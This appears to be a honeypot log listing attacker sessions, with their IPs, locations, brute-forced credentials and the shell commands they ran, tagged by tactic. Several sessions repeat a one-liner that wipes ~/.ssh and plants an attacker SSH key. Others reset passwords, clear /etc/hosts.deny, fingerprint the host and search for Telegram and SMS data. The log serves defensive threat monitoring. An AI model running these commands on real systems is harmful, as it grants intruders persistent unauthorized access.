$ Enter new UNIX password:
$ echo "sol\nTQ7faxTa5Q7a\nTQ7faxTa5Q7a\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ grumpy_cactus_sol (187.251.123.104) โ€” Gustavo Adolfo Madero, Mexico ยท 2 sessions ยท 22 cmds
2026-06-25 11:41 EDT ยท as oracle/oracle01, sol/sol
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "sol\nk3aHBOCGml8v\nk3aHBOCGml8v"|passwd|bash
$ Enter new UNIX password:
$ echo "sol\nk3aHBOCGml8v\nk3aHBOCGml8v\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ venomous_echo_root_120 (45.15.227.120) โ€” Chisinau, Moldova ยท 1 session ยท 9 cmds
2026-08-07 15:13 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ rusty_volcano_root (103.187.147.0) โ€” Jakarta, Indonesia ยท 1 session ยท 20 cmds
2026-08-07 12:35 EDT ยท as tomcat/tomcat
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat\no7aUngjKUsb1\no7aUngjKUsb1"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat\no7aUngjKUsb1\no7aUngjKUsb1\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ aloof_stroopwafel_root (91.92.40.239) โ€” Eygelshoven, The Netherlands ยท 62 sessions ยท 62 cmds
2026-06-30 23:30 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 5x across 5 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ frantic_clog_sol (77.239.124.239) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-07 09:51 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ frantic_chateau_root (54.38.188.18) โ€” Strasbourg, France ยท 35 sessions ยท 35 cmds
2026-08-07 02:37 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r-m ร—35
๐ŸŽญ frantic_spice_root (110.173.190.222) โ€” Ghaziabad, India ยท 2 sessions ยท 2 cmds
2026-08-07 06:13 EDT ยท as root/admin123, root/root
echo
$ echo xsec ร—2
๐ŸŽญ sneaky_tulip_root (91.92.42.195) โ€” Eygelshoven, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-03 09:36 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ manic_burger_sol_142 (62.132.18.142) โ€” Glen Cove, United States ยท 1 session ยท 2 cmds
2026-08-07 01:14 EDT ยท as oracle/oracle12
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ derelict_gouda_root (91.92.42.64) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-06 21:10 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ velvet_wok_root (58.220.39.200) โ€” Nanjing, China ยท 2 sessions ยท 4 cmds
2026-08-06 22:05 EDT ยท as oracle/oracle2026, oracle/oracleoracle
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ obsidian_bike_root_203 (194.26.192.203) โ€” Lelystad, The Netherlands ยท 1 session ยท 3 cmds
2026-08-06 21:51 EDT ยท as admin/admin
CPU profiling โ†’ CPU profiling โ†’ ?
$ echo "bash --help; ls /proc/1/; ls --help /; cat /proc/1/mounts; cp; cat /proc/cpuinfo; echo __1786067508753868577" | sh
โ†ณ CPU profiling
$ bash --help; ls /proc/1/; ls --help /; cat /proc/1/mounts; cp; cat /proc/cpuinfo; echo __1786067508753868577
โ†ณ CPU profiling
$
๐ŸŽญ derelict_fika_root (155.4.244.169) โ€” Helsingborg, Sweden ยท 2 sessions ยท 21 cmds
2026-07-01 01:24 EDT ยท as oracle/Qq123456, root/Aaa123123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:pxDroDo5Kq6v"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ baroque_gouda_root_62 (192.42.116.62) โ€” Amsterdam, The Netherlands ยท 1 session ยท 3 cmds
2026-08-06 18:10 EDT ยท as admin/admin
CPU profiling โ†’ CPU profiling โ†’ ?
$ echo "bash --help; ls /proc/1/; ls --help /; cat /proc/1/mounts; cp; cat /proc/cpuinfo; echo __1786054258041234046" | sh
โ†ณ CPU profiling
$ bash --help; ls /proc/1/; ls --help /; cat /proc/1/mounts; cp; cat /proc/cpuinfo; echo __1786054258041234046
โ†ณ CPU profiling
$
๐ŸŽญ unhinged_lotus_sol (117.221.167.133) โ€” Hyderabad, India ยท 1 session ยท 2 cmds
2026-08-06 17:28 EDT ยท as oracle/123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ venomous_stroopwafel_root (45.153.34.151) โ€” Eygelshoven, The Netherlands ยท 38 sessions ยท 38 cmds
2026-07-30 06:48 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—38
๐ŸŽญ drowsy_bike_root (91.92.47.208) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-06 13:32 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ rogue_varenyk_root (185.126.114.143) โ€” Mykolayiv, Ukraine ยท 1 session ยท 19 cmds
2026-08-06 14:15 EDT ยท as root/admin
cd ~; chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa" โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "root:dsDTff7gHdst"|chpasswd|bash โ†’ rm -rf /tmp/secure.sh โ†’ pkill -9 secure.sh โ†’ echo > /etc/hosts โ†’
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:dsDTff7gHdst"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ molten_durian_root (152.32.218.149) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-08-06 13:03 EDT ยท as oracle/1qaz2wsx#EDC
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ashen_dragon_root_190 (121.40.150.190) โ€” Hangzhou, China ยท 2 sessions ยท 2 cmds
2026-07-05 13:08 EDT ยท as root/123456, test/test
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ scrappy_clog_root (193.32.162.34) โ€” Amsterdam, The Netherlands ยท 14 sessions ยท 126 cmds
2026-08-06 08:18 EDT ยท as admin/admin123, oracle/123, oracle/1234
PATH injection via export โ†’ OS fingerprinting via uname variants โ†’ kernel version extraction from /proc/version โ†’ OS detection via /etc/os-release
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—14
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—14
$ /bin/uname -s -v -n -m 2 > /dev/null ร—14
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—14
$ busybox uname -s -v -n -m 2 > /dev/null ร—14
$ ( [ -f /proc/version ] ร—14
$ [ -f /proc/version ] ร—14
$ head -1 /proc/version | cut -d -f1 ร—14
$ [ -f /etc/os-release ] ร—14
๐ŸŽญ gnarled_gouda_root (91.92.40.19) โ€” Amsterdam, The Netherlands ยท 155 sessions ยท 155 cmds
2026-07-07 01:41 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—155
๐ŸŽญ murky_rendang_root_211 (103.99.214.211) โ€” Sungaigerong, Indonesia ยท 1 session ยท 2 cmds
2026-08-06 05:38 EDT ยท as oracle/Oracle2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ stoic_tulip_sol (91.92.47.140) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-06 01:09 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ scrappy_windmill_sol (45.153.34.144) โ€” Amsterdam, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-12 13:59 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ wily_harbor_root (202.130.111.102) โ€” Kowloon Bay, Hong Kong ยท 1 session ยท 2 cmds
2026-08-05 23:55 EDT ยท as oracle/oracle#2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sneaky_lantern_root (111.32.153.180) โ€” Guangzhou, China ยท 1 session ยท 2 cmds
2026-08-05 22:42 EDT ยท as oracle/oracle@2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ molten_harbor_root_107 (8.218.179.107) โ€” Hong Kong, Hong Kong ยท 1 session ยท 1 cmd
2026-08-05 19:39 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ spectral_wok_root (115.190.248.214) โ€” Beijing, China ยท 1 session ยท 2 cmds
2026-08-05 18:15 EDT ยท as oracle/123.com
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ nocturnal_cipher_root (34.78.29.97) โ€” Brussels, Belgium ยท 3 sessions ยท 42 cmds
2026-06-29 19:46 EDT ยท as admin/asdf1234, mysql/mysql, oracle/M3gaP33!
